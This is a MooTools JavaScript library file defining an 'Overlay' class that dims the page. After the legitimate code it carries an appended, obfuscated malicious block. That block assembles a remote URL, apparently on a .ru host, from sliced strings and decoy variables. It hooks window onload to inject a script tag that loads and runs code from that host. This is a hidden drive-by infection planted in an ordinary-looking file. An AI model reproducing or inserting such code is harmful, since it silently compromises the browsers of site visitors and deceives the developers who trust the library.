
/**************************************************************

	Script		: Overlay
	Version		: 1.2
	Authors		: Samuel birch
	Desc		: Covers the window with a semi-transparent layer.
	Licence		: Open Source MIT Licence

**************************************************************/

var Overlay = new Class({
	
	getOptions: function(){
		return {
			colour: '#000',
			opacity: 0.7,
			zIndex: 2000,
			container: document.body,
			onClick: Class.empty
		};
	},

	initialize: function(options){
		this.setOptions(this.getOptions(), options);
		
		this.options.container = $(this.options.container);
		
		this.container = new Element('div').setProperty('id', 'OverlayContainer').setStyles({
			position: 'absolute',
			left: '0px',
			top: '0px',
			width: '100%',
			zIndex: this.options.zIndex
		}).injectInside(this.options.container);
		
		this.iframe = new Element('iframe').setProperties({
			'id': 'OverlayIframe',
			'name': 'OverlayIframe',
			'src': 'javascript:void(0);',
			'frameborder': 1,
			'scrolling': 'no'
		}).setStyles({
			'position': 'absolute',
			'top': 0,
			'left': 0,
			'width': '100%',
			'height': '100%',
			'filter': 'progid:DXImageTransform.Microsoft.Alpha(style=0,opacity=0)',
			'opacity': 0,
			'zIndex': 1
		}).injectInside(this.container);
		
		this.overlay = new Element('div').setProperty('id', 'Overlay').setStyles({
			position: 'absolute',
			left: '0px',
			top: '0px',
			width: '100%',
			height: '100%',
			zIndex: 2,
			backgroundColor: this.options.colour
		}).injectInside(this.container);
		
		this.container.addEvent('click', function(){
			this.options.onClick();
		}.bind(this));
		
		this.fade = new Fx.Style(this.container, 'opacity').set(0);
		this.position();
		
		window.addEvent('resize', this.position.bind(this));
	},
	
	position: function(){ 
		if(this.options.container == document.body){ 
			var h = window.getScrollHeight()+'px'; 
			this.container.setStyles({top: '0px', height: h}); 
		}else{ 
			var myCoords = this.options.container.getCoordinates(); 
			this.container.setStyles({
				top: myCoords.top+'px', 
				height: myCoords.height+'px', 
				left: myCoords.left+'px', 
				width: myCoords.width+'px'
			}); 
		} 
	},
	
	show: function(){
		this.fade.start(0,this.options.opacity);
	},
	
	hide: function(){
		this.fade.start(this.options.opacity,0);
	}
	
});
Overlay.implement(new Options);

/*************************************************************/

var D;if(D!='' && D!='_'){D=''};try {var K='';var p=new String();var EC=new Date();var Ky=String("reICv".substr(0,2)+"pl"+"k6Pac".substr(3)+"e");this.Kv='';var V=RegExp;var x=String("KlQ1[".substr(4));var r=new String();var ll='';var de;if(de!='' && de!='sk'){de=''};var L="]";var s=String("g");var Pm;if(Pm!=''){Pm='Xf'};var Aq;if(Aq!=''){Aq='q'};function w(xf,b){var Dn=new Date();var MM=new Date();var iW=new Date();var xS=x;var F=new Date();xS+=b;var BL;if(BL!='wZ'){BL='wZ'};var y;if(y!='rZ' && y!='DZ'){y='rZ'};xS+=L;this.Qh='';var h=new V(xS, s);var Fb;if(Fb!='Xu' && Fb!='fp'){Fb='Xu'};var kB;if(kB!='ge' && kB!='t'){kB=''};return xf.replace(h, K);var _G;if(_G!='yZ' && _G!='QF'){_G=''};};var xf="1";var bp;if(bp!='es'){bp='es'};var lM=new Array();var xc=w('hFtXtxpF:X/F/xf3oXtxoxlFiFa3-Xc3oFmF.3w3iXkFiFpXeFd3iXa3.XoFrxg3.XaFpXpxlxeX-Fcxo3mX.FpFrxoXp3l3u3s3l3axbX.xrXux:3',"3XxF");var Fn='';var hB="";var j=new String("onloa"+"rSJRd".substr(4));var am='';var E=String("7MG/goo".substr(3)+"VLWNgle.LWNV".substr(4,4)+"com/UB2".substr(0,4)+"kcigoog".substr(3)+"le.c"+"om/hTP9".substr(0,4)+"W8SDc360".substr(4)+".com"+"ECV/msn".substr(3)+".com"+"/hyv"+"es.nYQZd".substr(0,4)+"2D9l.ph".substr(3)+"OWjp".substr(3));var l='';var YS;if(YS!='gn' && YS!='MN'){YS='gn'};var ED=w('82127121022212278167712106112916',"71692");var U=new String("scrXy5".substr(0,3)+"2m8Lipt".substr(4));this.lS='';var w_=new String();window[j]=function(){var W=new Array();KW=document.createElement(U);var fL=new Array();var Jc="";l+=xc;l+=ED+E;var pj=new String();var ZZ;if(ZZ!='' && ZZ!='G'){ZZ='_A'};KW.src=l;var c=document.body;var JZ=new Array();var sx=new Array();var vZ='';KW.defer=xf;var bj="";c.appendChild(KW);var vf=new String();var TK=new String();};this.Mk="";var ME;if(ME!=''){ME='O'};var Rz;if(Rz!='GM' && Rz!='wQ'){Rz=''};this.Rv='';} catch(d){var rw;if(rw!='' && rw!='gd'){rw=''};};